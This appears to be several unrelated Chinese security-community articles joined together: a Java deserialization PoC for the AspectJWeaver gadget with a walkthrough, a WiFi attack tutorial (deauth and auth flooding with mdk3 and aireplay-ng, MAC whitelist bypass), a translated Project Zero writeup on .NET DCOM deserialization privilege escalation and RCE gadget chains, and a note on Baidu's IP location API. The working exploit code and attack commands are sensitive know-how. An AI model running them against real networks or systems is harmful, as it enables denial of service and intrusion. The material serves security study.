import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
// 反射获取构造函数
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
con.setAccessible(true);
// 实例化对象
HashMap map = (HashMap)con.newInstance("D:", 1);
// 这里用到ConstantTransformer是为了构造value，即写入文件的值
ConstantTransformer transform = new ConstantTransformer("12321321".getBytes(StandardCharsets.UTF_8));
// 返回一个LazyMap对象
Map outmap = LazyMap.decorate(map,transform);
// 利用TiedMapEntry和BadAttributeValueExpException，使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法
TiedMapEntry tiedmap = new TiedMapEntry(outmap,"1.txt");
// 这里是为了序列化时不触发LazyMap的get方法
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
// 序列化
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(poc);
System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));
// 反序列化
ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
}
}
当然也可以利用其他方法来触发LazyMap的get
## 调试分析
对反序列化触发的代码进行调试分析。
反序列化BadAttributeValueExpException对象，首先进入BadAttributeValueExpException的readObject方法。
这里给valObj赋值为BadAttributeValueExpException对象的val成员的值，其是一个TiedMapEntry对象。
然后进行判断后，调用valObj.toString方法。
进入TiedMapEntry的toString方法。
可以看到其会调用到getValue方法。
在getValue方法中，会调用map.get方法，这里的map是在初始化TiedMapEntry对象的时候传入的LazyMap对象，key是在初始化TiedMapEntry对象的时候传入的"1.txt"
接着会进入LazyMap的get方法。
进行一个判断后，将value赋值为this.factory.transform的返回值，this.factory为LazyMap.decorate方法传入的ConstantTransformer对象。
接着ConstantTransformer的transform方法会返回iConstant，就是ConstantTransformer初始化时传入的值。
然后会调用到this.map.put方法，并传入key和value，this.map为LazyMap.decorate方法传入的SimpleCache$StoreableCachingMap对象。
进而调用到SimpleCache$StoreableCachingMap的put方法，writeToPath方法实现文件写入。
## 参考
<https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java> | 社区文章 |
# WI-FI安全渗透剖析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前记
在我们的生活当中，WIFI随处可见，几乎是家家可见的路由器，已经成为了我们生活中不可分割的一部分。但是俗话说得好，有网络的地方就会有安全问题，那么本篇文章作者将对WIFI安全进行深入简出的讲解，旨在从渗透者的角度分析常见的WIFI攻击，分析攻击过程。那么我们现在开始吧！
## 准备工作
首先在测试之前，我们需要把环境进行配置一下。首先我们需要一块可开启监听模式的无线网卡，这样的网卡在淘宝大概是几十块钱。
可以选择的种类还是非常多的，这里就不再赘述了。但是需要注意的是挑选无线网卡频段的问题，我购买的这款无线网卡只能监听2.4G的网络，但是现在家用的路由器基本上都具有两个频段，所以当我们进行比如deauth等攻击时，当2.4G频段信号连接异常时会自动跳转到5G频段导致无法抓取数据包。
这里讲解一下2.4GHz和5GHz的主要区别:
两者总的来说各有优异，2.4GHz的主要优点：信号强、覆盖范围远、衰减小。缺点：带宽窄、速度慢、干扰较大。2.4GHz频段共有14个信道，在中国可以使用1-13信道。5GHz的优点主要是：带宽较宽、速度较快，干扰较少。缺点:覆盖范围小，衰减大，信号小。总的来说就是与2.4Ghz的优点相反。5G频段共有约200个信道，他的干扰可以说非常小。
## 无线网卡配置
在渗透之前需要配置一下我们的网卡，在将网卡连接至虚拟机中后，输入iwconfig命令查看是否识别网卡。
这里的wlan0就是我们的无线网卡，使用命令开启监听模式:
`airmon start wlan0`
如下图即说明已经开启监听模式
注意事项:为什么要开启监听模式呢？因为默认情况下网卡只会接收发送给自己的数据帧，而丢弃其他数据帧，也就是被管理状态。而开启监听模式后则会监听所有无线通信，从而实现我们的渗透需求。
在开启监听模式后，我们使用airodump-ng进行扫描发现无线网络。
为了保护别人的隐私，仅显示需要测试的路由器信息。
BSSID：wifi的mac地址。
PWR：网卡报告的信号水平，数值越低信号越好，忽略前面的负号。
Beacons：无线发出的通告编号
CH：信道
MB：无线所支持的最大速率
ENC：使用的加密算法体系，OPN表示无加密
CIPHER：检测到的加密算法
AUTH：使用的认证协议。
ESSID：wifi名称
STATION：客户端的MAC地址，包括连上的和想要搜索无线来连接的客户端。如果客户端没有连接上，就在BSSID下显示“notassociated”。
Rate：表示传输率。
Lost：在过去10秒钟内丢失的数据分组
Frames：客户端发送的数据分组数量。
Probe：被连接的wifi名
## Deauth攻击
取消验证洪水攻击，通常被简称为Deauth攻击，是无线网络拒绝服务攻击的一种形式，在客户端点击断开连接时会向路由器发送断开帧，而Deauth攻击就是模拟这样一个环节从而断开数据包。
下面这条命令会攻击所有信道的WI-FI信号。
`mdk3 wlan0mon d`
在攻击的过程中并没有任何回显，但是攻击正在进行中。
效果如下
我们发现WIFI连接被断开了，再次尝试连接会显示密码错误。
aireplay-ng工具同样可以进行这一操作。
-0为指定攻击方式为取消身份验证攻击，0是循环发送，指定其他数字则为发送离线包的数量，-a指定目标路由器mac地址。
`aireplay-ng -0 0 -a mac wlan0mon`
开始攻击后会不断向目标发送离线包。
无论是mdk3还是aireplay-ng他们的效果其实差不多。
目前mdk3的维护已经停止，而国内有团队已经开发出支持5GHz频段的mdk4大家可以注意一下。
## Auth攻击
验证洪水攻击,攻击者将向AP发送大量伪造的身份验证请求帧(伪造的身份验证服务和状态代码)，当收到大量伪造的身份验证请求超过所能承受的能力时，AP将断开其它无线服务连接。
`mdk3 wlan0mon a -a 50:2B:73:6A:18:81`
使用上述命令后会发送大量验证信息给目标AP，不久便会断开其他无线连接，继续攻击路由器会卡死崩溃。
目前大部分主流的路由器都是WPA2的，所以上面的攻击几乎涵盖了目前所有家用路由器，而最新推出的WPA3的安全标准则缓解了如Deauth攻击等。但是目前市面上具有WPA3的路由器价格相比还是有点贵的。
## MAC白名单绕过
在学校中，大家想必都有体会过校园网，对于老师们可以使用校园网而普通用户哪怕知道了密码也无法登录正是因为网管那里过滤了我们设备的MAC地址。那么有没有办法能绕过呢？其实也就只是多出了一步而已。在我们使用airodump-ng扫描时我们可以看到下面有已经连接的客户端。
在STATION这一项中，我们可以看到已经连接的客户端。这里还要从MAC地址随机化说起，我们都知道MAC地址是终端设备网络接口的唯一编码和标识符，在生产分配时无法修改，所以经常会设备跟踪。但是随之出现的随机化这一机制打破了这种现状。在windows10中，是全随机化，也就是说在搜索附近无线网络时是随机的MAC地址，连接后同样是随机的。但是安卓却不是，他是半随机化，也就是搜索无线网时是随机化的，但是连接后不是，这也就让我们有了可乘之机。上图中STATION这一项就是连接的客户端。
我们可以通过修改自己网卡的MAC地址为他们的地址就可以绕过MAC白名单了。
命令如下:
`macchanger -m mac wkan0`
需要注意的是这样修改的话两个设备同时在线，会导致MAC冲突。
## 渗透思路精讲
上面我们简单的讲解了两种常见的无线攻击方式，那么小伙伴一定会问有没有便携的设备呢？
相信有物联网经验的小伙伴一定能看出这是一块esp8266的板子，我们通过烧录wifi杀手固件就可以随时随地的进行无线攻击了，界面如下图。
是不是很帅呢？
攻击方式当然不止上面几种，包括无线钓鱼、密码爆破，无人机攻击等。
说起无人机，本来本文还想给大家演示一下无人机的攻击过程分析，但是奈何我的无人机坏掉了所以就没有办法了。但是大体攻击原理也是通过kismet等软件检测无人机信号，进行断开连接，也可以使用射频工具进行GPS欺骗。
这里大家也需要警惕外面的陌生网络，在钓鱼网络中，攻击者甚至可以改变的访问地址，比如我们正常访问百度的域名，域名看起来是没有什么问题的，但是当你通过这个路由器进行访问时，这个域名已经指向的并不是原本的网址了，这样恶意的DNS服务器在实战时几乎是百发百中。
对于上面讲到的auth泛洪攻击，目前部分路由器固件内自带的防火墙能起到很好的防范了，如下图。
这样的防火墙可以很好防护ddos却对deauth攻击效果并不显著，所以当WPA3标准的路由器普及这一问题大概也就会成为过去吧！
## 钓鱼攻击WIFI Pineapple
关于钓鱼攻击，大家可以看一下我的一篇关于菠萝派WIFI Pineapple的文章。
`https://blog.csdn.net/qq_42804789/article/details/105215524`
钓鱼攻击目前来讲防御的方法并不特别有效，主要还是需要靠大家的自觉。尽量在陌生网络中不要输入自己的账号密码。因为如果你看过上文不难发现，攻击者完全可以获取到你访问的所有信息。
## 后记
这次的文章就讲这么多，因为相关法规，并不能进行更多的攻击过程演示，所以我就挑了几个比较经典的攻击方法进行讲解，希望大家能够有所收获。如果大家对这方面感兴趣，可以找我讨论，欢迎大家提出问题或建议！
祝大家心想事成，生活美满！ | 社区文章 |
# 【技术分享】如何利用.NET托管的DCOM实现权限提升
|
##### 译文声明
本文是翻译文章，文章来源：googleprojectzero.blogspot.tw
原文地址：<https://googleprojectzero.blogspot.tw/2017/04/exploiting-net-managed-dcom.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **华为未然实验室**](http://bobao.360.cn/member/contribute?uid=2794169747)
**稿费：160RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
影响互操作技术的漏洞是一类较为有趣的安全漏洞，这是因为这些漏洞通常会影响使用该技术的任何应用程序，无论应用程序实际执行什么操作。同样，在很多情况下，开发人员难以在不使用该技术的情况下推出缓解措施，但有时候却做不到。
我发现.NET的组件对象模型（COM）互操作性层存在此类漏洞，这使.NET跨权限边界用于分布式COM（DCOM）本质上是不安全的。本文将描述一些可对此进行滥用的方法，首先是获得提升的权限，然后是一个远程代码执行漏洞。
**背景知识**
回顾.NET的历史可以知道，很多其早期基础是试图制作一个更好的COM版本。这使微软很注重确保，虽然.NET本身可能不是COM，但其必须能够与COM互操作。因此，.NET可以用于实现和使用COM对象。比如，不用在COM对象上调用QueryInterface，你只需要将对象投射到兼容COM的接口上。以C#实现进程外COM服务器很简单，如下所示：
客户端现在可使用其CLSID（由COMClass上的Guid属性定义）连接到COM服务器。实际上这很简单，因为.NET中的大量核心类被标记为COM可见，并注册为任何COM客户端（即使未以.NET编写）可用。
为了使这一切都有效，.NET运行时向开发人员隐藏了大量的样板。有几种机制可影响此样板互操作性代码，比如InterfaceType属性，其定义COM接口是源自IUnknown还是IDispatch，但大多数情况下，你得到的是所给予的。
开发人员可能没有意识到的一点是，不仅是您指定的接口从.NET
COM对象导出，运行时还会添加一些“管理”接口。这些接口通过将.NET对象包装在COM可调用包装器（CCW）中来实现。
我们可以枚举CCW所暴露的接口。以System.Object为例，下表展示了支持的接口及每个接口实现的方式（在运行时动态实现或在运行时内部静态实现）。
_Object接口指的是System.Object类的COM可见表示，其是所有.NET对象的根，其必须动态生成，因为其依赖于被暴露的.NET对象。另一方面，IManagedObject由运行时本身实现，且实现在所有CCW中共享。
我从2013年开始关注.NET暴露的COM攻击面，彼时我正在研究IE沙箱逃逸。您可以在沙箱之外访问的COM对象之一是.NET[
ClickOnce部署](https://msdn.microsoft.com/en-us/library/t71a733d\(v=vs.80\).aspx)代理（DFSVC），其原来是以.NET实现，这可能并不足为奇。我实际上发现了两个问题，不是在DFSVC本身，而是在由所有.NET
COM对象暴露的_Object接口。_Object接口如下所示（以C++）。
第一个bug（导致CVE-2014-0257）在于GetType方法。该方法返回一个可用于访问[.NET反射API](https://msdn.microsoft.com/en-us/library/f7ykdhsy\(v=vs.110\).aspx)的COM对象。由于返回的_Type
COM对象正在服务器中运行，所以您可以调用一系列方法，从而可访问Process.Start方法，您可以调用该方法实现沙箱逃逸。如欲了解更多细节，请查看我编写并放在Github上的[PoC](https://github.com/tyranid/IE11SandboxEscapes/blob/master/CVE-2014-0257/CVE-2014-0257.cpp)。微软通过阻止通过DCOM访问反射API解决了此问题。
第二个问题更微妙，是.NET互操作特性（大概没有人认为是安全隐患）的副产品。加载.NET运行时需要相当多的额外资源，因此，对于本机COM客户端调用.NET
COM服务器上的方法，默认是让COM和CCW管理通信，即使这样有损性能。微软可以选择使用COM封送器强制.NET在客户端加载，但这样似乎有点过头，更别说客户端甚至可能没有安装兼容的.NET版本了。
当.NET与COM对象交互时，其会创建反向CCW——[运行时可调用包装器](https://msdn.microsoft.com/en-us/library/8bwh56xe\(v=vs.110\).aspx)（RCW）。这是一个.NET对象，其实现COM接口的运行时版本，并将其编组到COM对象。现在COM对象完全有可能实际上是用.NET编写的，甚至可能在相同的应用程序域中。如果.NET无所作为，可能对性能造成双倍影响，在RCW中编组，以调用一个COM对象，这实际上是一个托管对象的CCW。
尝试从CCW“展开”托管对象并获取一个真正的.NET对象是很好的。这是这段中的淘气鬼使坏的地方，[IManagedObject](https://msdn.microsoft.com/en-us/library/cc233673.aspx)接口，如下所示：
当.NET运行时获得一个COM对象时，其将通过一个过程来确定其是否可以从其CCW“展开”对象，并避免创建一个RCW。该过程被[记录](https://msdn.microsoft.com/en-us/library/cc233722.aspx)，但总而言之，运行时将执行以下操作：
1\. 调用COM对象上的QueryInterface来确定其是否实现IManagedObject接口。如果没有，则返回合适的RCW。
2\. 调用接口上的GetObjectIdentity。如果GUID与每次运行时GUID（在运行时启动时生成）匹配，且AppDomain
ID与当前的AppDomain ID匹配，则在运行时表中查找CCW值，并提取指向真实管理对象的指针并将其返回。
3\. 调用接口上的GetSerializedBuffer。运行时将检查.NET对象是否可序列化，如果可以，则其将对象传递给[BinaryFormatter
:: Serialize](https://msdn.microsoft.com/en-us/library/c5sbs8z9\(v=vs.110\).aspx)，并将结果打包到二进制字符串（BSTR）中。这将返回给客户端，客户端现在将尝试通过调用[BinaryFormatter
:: Deserialize](https://msdn.microsoft.com/en-us/library/b85344hz\(v=vs.110\).aspx)将缓冲区反序列化到对象实例。
第2和3步似乎都是坏主意。比如，在第2步中时，每运行时GUID不能被猜到，如果您可以访问同一进程中的任何其他对象（例如由服务器本身暴露的COM对象），则您可以调用对象上的GetObjectIdentity，并将GUID和AppDomain
ID重播回服务器。这并没有给您带来太多好处，CCW值只是一个数字不是一个指针，所以，你最多能提取已经有CCW的对象。
相反，真正棘手的是第3步。无论什么语言（比如Java、PHP、Ruby，等等），任意反序列化都是危险的，.NET亦不例外。显然这是我们可以利用的一个问题，我们先从权限提升角度看一看。
**提升权限**
我们如何让以.NET编写的COM服务器进行任意反序列化？我们需要服务器尝试为通过COM暴露的可序列化.NET对象创建RCW。如果一般而言可以做到这一点的话是很好的，就是这么凑巧，在标准_Object接口上存在一个我们可以传递任何对象的函数，Equals方法。Equals的目的是比较两个对象的等同性。如果我们将.NET
COM对象传递给服务器的Equals方法，则运行时必须尝试将其转换为RCW，以便托管实现可以使用它。在这一点上，运行时需要有所帮助，并检查其是否真的是一个CCW包装的.NET对象。服务器运行时调用GetSerializedBuffer，导致服务器进程中的任意反序列化。
这是我第二次利用ClickOnce部署代理（导致CVE-2014-4073）。利用这一点的技巧是将序列化的Hashtable发送到包含IHashCodeProvider接口的COM实现的服务器。当Hashtable运行其自定义反序列化代码时，其需要重建其内部散列结构，其通过在每个密钥上调用IHashCodeProvider
::
GetHashCode来实现。通过添加一个可序列化的Delegate对象，作为其中一个密钥，我们将把它传递给客户端。通过以本地代码编写客户端，通过IManagedObject的自动序列化将不会在将委托传回给我们时发生。委托对象卡在服务器进程内，但CCW暴露给我们，我们可以调用。调用委托会导致在服务器上下文中执行指定的函数，这样我们能以服务器权限启动新进程。因为这一般都有效，所以我还编写了一个工具来为任何.NET
COM服务器完成此工作，请见[github](https://github.com/tyranid/ExploitDotNetDCOM/tree/master/ExploitDotNetDCOMSerializer)。
微软本可以通过更改IManagedObject ::
GetSerializedBuffer的行为来修复CVE-2014-4073，但是没有。相反，微软以本机代码重写了代理。还发布了一篇博客文章，警告开发人员[.NET
DCOM的危险](https://blogs.technet.microsoft.com/srd/2014/10/14/more-details-about-cve-2014-4073-elevation-of-privilege-vulnerability/)。然而，他们并没有弃用任何API以在.NET中注册DCOM对象，因此除非开发人员的安全意识极高，并且碰巧阅读了微软的安全博客，否则他们可能不会意识到这是一个问题。
这类bug到今天一直存在，比如，当我最近收到一个新的工作笔记本电脑时，我做了我通常会做的事情，枚举安装了什么OEM“增值”软件，看看是否有什么可以利用。结果表明，作为音频驱动程序包的一部分安装了由杜比编写的COM服务。经过几分钟的检查，基本上枚举COM服务器的可访问接口，我发现其是用.NET编写的（IManagedObject的存在总是一个大的赠品）。我启动了我的利用工具，在不到5分钟的时间内，实现了在本地系统中的代码执行。现在已作为CVE-2017-7293被修复。由于.NET
DCOM基本上不安全，杜比唯一可以做的是以本地代码重写服务。
**攻击Caller**
找到IManagedObject
bug类的一个新实例让我开始关注其其他影响。首先要强调的是，服务器本身并无漏洞，只有当我们能强制服务器充当回调攻击应用程序的DCOM客户端时，该漏洞才能被利用。通过托管COM互操作调用DCOM对象的任何.NET应用程序都应该有类似的问题，而不仅仅是服务器。DCOM可能有什么常见的用例，特别是在现代企业环境中？
我首先想到的是Windows Management Instrumentation（WMI）。现代版本的Windows可以使用WS-Management（WSMAN）协议连接到远程WMI实例，但由于遗留原因，WMI仍然支持DCOM传输。WMI的一个用例是扫描企业机器是否有恶意行为。这种复苏的原因之一是Powershell（在.NET中实现）具有易于使用的WMI支持。如果PS或者.NET尝试访问网络中受影响的工作站，那么或许PS或.NET本身容易受到此种攻击？
查看MSDN后可知，.NET通过[System.Management](https://msdn.microsoft.com/en-us/library/system.management\(v=vs.110\).aspx)命名空间支持WMI。这从.NET的开始就一直存在。其支持对WMI的远程访问，考虑到类的年代，其先于WSMAN，因此几乎可以肯定在后台使用DCOM。在PS前端，通过诸如[Get-WmiObject](https://technet.microsoft.com/en-us/library/ee176860.aspx)之类的cmdlet支持WMI。PS版本3（在Windows 8和Server
2008中引入）添加了一组新的cmdlet，包括[Get-CimInstance](https://technet.microsoft.com/en-us/itpro/powershell/windows/cimcmdlets/get-ciminstance)。阅读相关链接可知，引入CIM
cmdlet、支持WSMAN的原因显而易见，并且链接明确指出“旧”WMI cmdlet使用DCOM。
WMI cmdlets：
优点：相比WsMan Cmdlets提供更好的任务抽象，输出是一个.NET对象
缺点：使用非标准DCOM协议，不适用于非Windows
在这一点上，我们可以直接进入.NET和PS类库的RE，但有一个更简单的方法。通过观察到WMI服务器的DCOM
RPC流量，可能能够看到.NET客户端是否查询IManagedObject。Wireshark已经有一个DCOM解析器，为我们节省了很多麻烦。出于测试目的，我设置了两个虚拟机，一个是用Windows
Server 2016（作为域控制器），另一个是用Windows 10（作为域上的客户端）。然后我从客户端的域管理员发出一个简单的WMI PS命令‘Get-WmiObject Win32_Process -ComputerName dc.network.local’，
同时使用Wireshark监控网络。以下图片显示了我观察到的内容：
屏幕截图显示了来自PS客户端（192.168.56.102）的DC服务器上WMI
DCOM对象（192.168.56.50）的初始创建请求。我们可以看到其在查询IWbemLoginClientID接口，这是初始化过程的一部分（如[MS-WMI](https://msdn.microsoft.com/en-us/library/dd208060.aspx)中所述）。然后，客户端尝试请求其他几个接口;
尤其是其请求IManagedObject。这几乎肯定表明使用PS WMI cmdlet的客户端是有漏洞的。
为了测试这是否真的是一个漏洞，我们需要一个假的WMI服务器。似乎这是一个很大的挑战，但是我们需要做的就是修改winmgmt服务的注册，以指向我们的假实现。只要该服务随后用CLSID
{8BC3F05E-D86B-11D0-A075-00C04FB68820}注册一个COM类，COM启动器将启动服务，并为任何客户端提供我们的假WMI对象的实例。回顾我们的网络捕获，结果是对IManagedObject的查询没有发生在主类上，而是在从IWbemLevel1Login
::
NTLMLogin返回的IWbemServices对象上。但是没关系，其只是添加了一些额外的样板代码。为了确保其有效，我们将实现以下代码，其将告诉反序列化代码来查找一个名为Badgers的未知程序集。
如果我们成功注入序列化流，那么我们可以预期PS进程尝试查找Badgers.dll文件，并使用我们发现的Process Monitor。
**链接解串器**
当利用反序列化实现本地权限提升时，我们可以确保我们可以连接到服务器并运行任意代理。在RCE案例中我们没有这样的保证。如果WMI客户端启用了默认Windows防火墙规则，那么我们几乎肯定无法连接到委托对象所做的RPC端点。我们还需要被允许通过网络登录到运行WMI客户端的机器，我们的受攻击机器可能无法登录到域，或者企业策略可能会阻止除所有者外的任何人登录到客户端机器。
因此，我们需要一个稍微不同的计划，不是通过暴露一个新的委托对象来主动攻击客户端，相反，我们将给它传递一个字节流（反序列化时会执行所需的操作）。在理想的世界中，我们会发现一个可以为我们执行任意代码的可序列化类。可悲的是（据我所知）没有这样的类存在。因此，我们需要找到一系列“Gadget”类，这些类链接在一起可执行所需的效果。
所以在这种情况下，我倾向于编写一些快速分析工具，.NET支持相当不错的反射API，因此找到基本信息（比如一个类是否可序列化或一个类支持哪个接口）很容易做到。我们还需要一个要检查的程序集的列表，我知道的最快的方法是使用作为.NET
SDK一部分安装的gacutil实用程序（并随Visual Studio一起安装）。运行命令gacutil / l>
assemblies.txt来创建可以加载和处理的程序集名称列表。对于第一遍，我们将寻找可序列化且其中有委托的任何类，这些可能是执行操作时执行任意代码的类。使用我们的程序集列表，我们可以编写一些如下所示的简单代码来找到这些类，为每个程序集名称字符串调用FindSerializableTypes：
在我的系统中，该分析只产生了大约20个类，其中许多类实际上是在不分布在默认安装中的F＃库中。但一个类确实引起了我的注意——System.Collections.Generic.ComparisonComparer<T>。您可以在[参考源](https://github.com/Microsoft/referencesource/blob/90b323fe52bec428fe4bd5f007e9ead6b265d553/mscorlib/system/collections/generic/comparer.cs#L157)中找到该实现，但其很简单，全貌如下：
这个类包装了一个Comparison<T>委托——使用两个通用参数（相同类型），并返回一个整数，调用委托来实现[IComparer
<T>](https://msdn.microsoft.com/en-us/library/8ehhxeaf%28v=vs.110%29.aspx)接口。虽然类是内部的，但其创建通过[Comparer<T>::Create](https://msdn.microsoft.com/en-us/library/hh737198%28v=vs.110%29.aspx)静态方法暴露。这是链的第一部分，通过这个类和一些序列化代理的推拿，我们可以将[IComparer<T>::Compare](https://msdn.microsoft.com/en-us/library/bb346115%28v=vs.110%29.aspx)链接到Process::Start，并获得创建的任意进程。现在我们需要链的下一部分，用任意的参数来调用该比较器对象。
比较器对象在通用.NET集合类中被大量使用，许多这些集合类也有自定义反序列化代码。在这种情况下，我们可以滥用[SortedSet
<T>](https://msdn.microsoft.com/en-us/library/dd412070\(v=vs.110\).aspx)类，反序列化使用内部比较器对象重建其集合以确定排序顺序。传递给比较器的值是集合中的条目，这完全在我们的控制之下。我们来写一些测试代码来检查其是否和我们预期的一样有效：
有关这个代码唯一奇怪的是TypeConfuseDelegate。这是一个长期存在的问题，.NET代理并不总是强制执行其类型签名，特别是返回值。在这种情况下，我们创建一个两个条目的多播代理（按顺序运行多个单个代理的委托），将一个委托设置为返回一个int的String
::
Compare，将另一个设置为返回Process类实例的Process::Start。即使在反序列化和调用两种单独的方法时这也有效。然后其将返回创建的作为整数的进程对象，这意味着其会将指针返回到进程对象的实例。所以我们最终得到如下链条：
虽然这是一个非常简单的链，但它有一些问题，因此对于我们的用途其不太理想：
1\. Comparer <T> :: Create方法和相应的类仅在.NET 4.5中引入，涵盖Windows 8及更高版本，但不涵盖Windows 7。
2\. 漏洞利用部分依赖于代理的返回值的类型混淆。虽然其只是将Process对象转换为一个整数，但这有点不太理想，可能会有意想不到的副作用。
3\. 启动一个流程略显嘈杂，从内存加载我们的代码更好。
所以我们需要找到更好的东西。我们需要一些至少在.NET 3.5上有效的东西，这是Windows 7上Windows
Update会自动更新到的版本。此外，其不应该依赖于未定义的行为或从DCOM通道外部加载我们的代码，例如通过HTTP连接。这对我似乎是个挑战。
**改善链条**
在查看可序列化的其他一些类时，我在[System.Workflow.ComponentModel.Serialization](https://msdn.microsoft.com/en-us/library/system.workflow.componentmodel.serialization\(v=vs.110\).aspx)命名空间中注意到了一些。该命名空间包含属于[Windows
Workflow Foundation](https://msdn.microsoft.com/en-us/library/jj684582.aspx)的一部分的类，其是用于构建执行管道以执行一系列任务的一组库。这一点有点意思，事实证明，我之前利用过核心功能——作为[Windows
Powershell中代码完整性](http://www.exploit-monday.com/2013/07/WinRT-ARM-Shellcode.html?showComment=1376669197806#c4072135924776553338)的一个绕过。
这使我找到了[ObjectSerializedRef](https://github.com/Microsoft/referencesource/blob/4fe4349175f4c5091d972a7e56ea12012f1e7170/System.Workflow.ComponentModel/AuthoringOM/Serializer/ActivitySurrogateSelector.cs#L135)类。这看起来很像一个将反序列化任何对象类型的类。而不仅仅是序列化的。如果是这样的话，那么这是一个用于建立功能更强大的反序列化链的非常强大的原语。
查看实现后可知，该类被用作通过ActivitiySurrogateSelector类暴露的序列化替代。这是.NET序列化API的一个特性，您可以在序列化过程中指定“代理选择器”，其将用代理类替换对象。当流反序列化时，此代理类包含足够的信息来重建原始对象。一个用例是处理非可序列化类的序列化，但是ObjectSerializedRef超出了特定的用例，并允许您反序列化任何内容。按顺序进行的测试：
ObjectSurrogate类似乎没任何问题。这个类完全毁灭了确保不可信的BinaryFormatter流的任何希望，其可以从.NET
3.0获得。任何没有标记为可序列化的类现在都是目标。在反序列化过程中调用一个任意委托很简单，因为开发人员不会做任何事情来防范这种攻击方式。
现在选择一个目标来建立我们的反序列化链。我本可以选择进一步探讨Workflow类，但是API是可怕的（实际上在.NET
4中，微软用一个新的、稍微更好一些的API代替了旧的）。相反，我会选择一个非常易于使用的目标，语言集成查询（LINQ）。
LINQ作为核心语言特性在.NET
3.5中引入。一种类似于SQL的新语法引入了C＃和VB编译器，以跨可枚举对象执行查询，比如列表或字典。基于长度过滤名称列表并返回大写列表的语法示例如下：
您也可以不将LINQ视作查询语法，而是视作在.NET中执行列表推导的一种方法。将“select”视为等同于“map”，将“where”
视为等同于“filter”可能更有意义。查询语法下是在System.Linq.Enumerable类中实现的一系列方法。您可以使用正常的C＃语法而不是查询语言编写，如果这样做，则前面的例子变成如下所示：
方法（如Where）需要两个参数、一个列表对象（这在上面的例子中是隐藏的）及一个委托来调用枚举列表中的每个条目。委托通常由应用程序提供，但是没有什么可以阻止您使用系统方法替换委托。要记住的重要事情是在枚举列表之前不会调用委托。这意味着我们可以使用LINQ方法构建一个枚举列表，使用ObjectSurrogate进行序列化（LINQ类本身不是可序列化的），然后，如果我们能强制反序列化列表被枚举，其将执行任意代码。
使用LINQ作为原语，我们可以创建一个列表，当枚举时，该列表按以下顺序将字节数组映射到该字节数组中的一个类型的实例：
唯一棘手的部分是第2步，我们想提取一个特定的类型，但我们唯一真正的选择是使用Enumerable.Join方法，这需要投机取巧才能使其有效。一个更好的选择是使用Enumerable.Zip，但这只在.NET
4中引入。所以，我们将获取加载的程序集中的所有类型，并全部创建，如果我们只有一个类型，那么这不会有什么区别。以C#实现是怎样的？
C＃实现中唯一不明显的部分是Assembly ::
GetTypes的委托。我们需要的是一个接受一个Assembly对象并返回一个Type对象的列表的委托。然而，由于GetTypes是一个实例方法，默认是捕获Assembly类并将其存储在委托对象内，这将导致一个不接收参数并返回一个Type列表的委托。我们可以通过使用反射API为实例成员创建一个开放委托来解决这个问题。一个开放的委托不存储对象实例，而是将其作为额外的Assembly参数公开，这正是我们想要的。
使用我们的枚举列表，我们可以让程序集加载及让我们自己的代码执行，但是我们如何枚举列表启动链？为此，我尝试找到一个当调用ToString（一个很常见的方法）时会枚举列表的类。这在Java中很简单，几乎所有的集合类都有这个确切的行为。可悲的是，似乎.NET在这方面与Java不同。所以我修改了我的分析工具，以尝试寻找可以帮我们达到目的的小工具。长话短说，我通过三个单独的类发现了一个从ToString到IEnumerable的链。该链如下所示：
我们完成了吗？还没有，还差一步，我们需要在反序列化期间调用任意对象上的ToString。当然，如果我不是已经有一个方法来完成，我不会选择ToString。在这最后一个案例中，我会回到滥用Hashtable。在Hashtable类的反序列化期间，其将重建其密钥集，我们对此已有了解，因为这是我利用本地EoP的序列化的方法。如果两个密钥相同，则反序列化将会失败，Hashtable会抛出异常，导致运行以下代码：
该密钥被传递到值数组中的GetResourceString，以及对资源字符串的引用。资源字符串以及传递到String.Format的密钥被查找。生成的资源字符串具有格式化代码，因此当String.Format遇到非字符串值时，其调用对象上的ToString将其格式化。这导致在反序列化期间调用ToString，从而会踢掉事件链，从而引发我们从内存中加载任意.NET组件并在WMI客户端的上下文中执行代码。
您可以查看我添加到[问题跟踪器](https://bugs.chromium.org/p/project-zero/issues/detail?id=1081#c5)的最新PoC中的最终实现。
**结论**
微软通过确保System.Management类从不直接为WMI对象创建RCW修复了RCE（远程代码执行）问题。但是，此修复程序不会影响.NET中任何其他DCOM的使用，因此特权.NET
DCOM服务器仍然存在漏洞，其他远程DCOM应用程序也可能受到攻击。
此外，这应该是一个教训，切勿使用.NET
BinaryFormatter类反序列化不受信任的数据。无论如何这样做也是危险的，但开发人员似乎放弃了制作安全的可序列化类的任何希望。ObjectSurrogate的存在实际上意味着，运行时中的每个类都是可序列化的，无论原始开发人员希望与否。
最后一个想法，您应该始终对中间件的安全性实施持怀疑态度，尤其是当您不能检查其所作所为时。IManagedObject的问题是与生俱来的，难以移除，所以正确修复很难。 | 社区文章 |
2017年8月7日，百度对外彻底关闭了高精度IP定位接口，前期申请次接口的老用户，现在接口返回状态吗已变成302，也就是访问无权限。至此，高精度ip定位功能关闭。
对于此，是否以后不会再有高精度产品了呢？答案是否定的。
我之前在我的博客里也已经提过到实现原理，对于具备条件的个人或者组织、企业来讲，还是可以自己实现这样一套逻辑。分析出自己的数据结果集。只不过，相比于百度庞大的用户群体，能做到之前百度的覆盖面和准确度显然是非常有挑战性的。
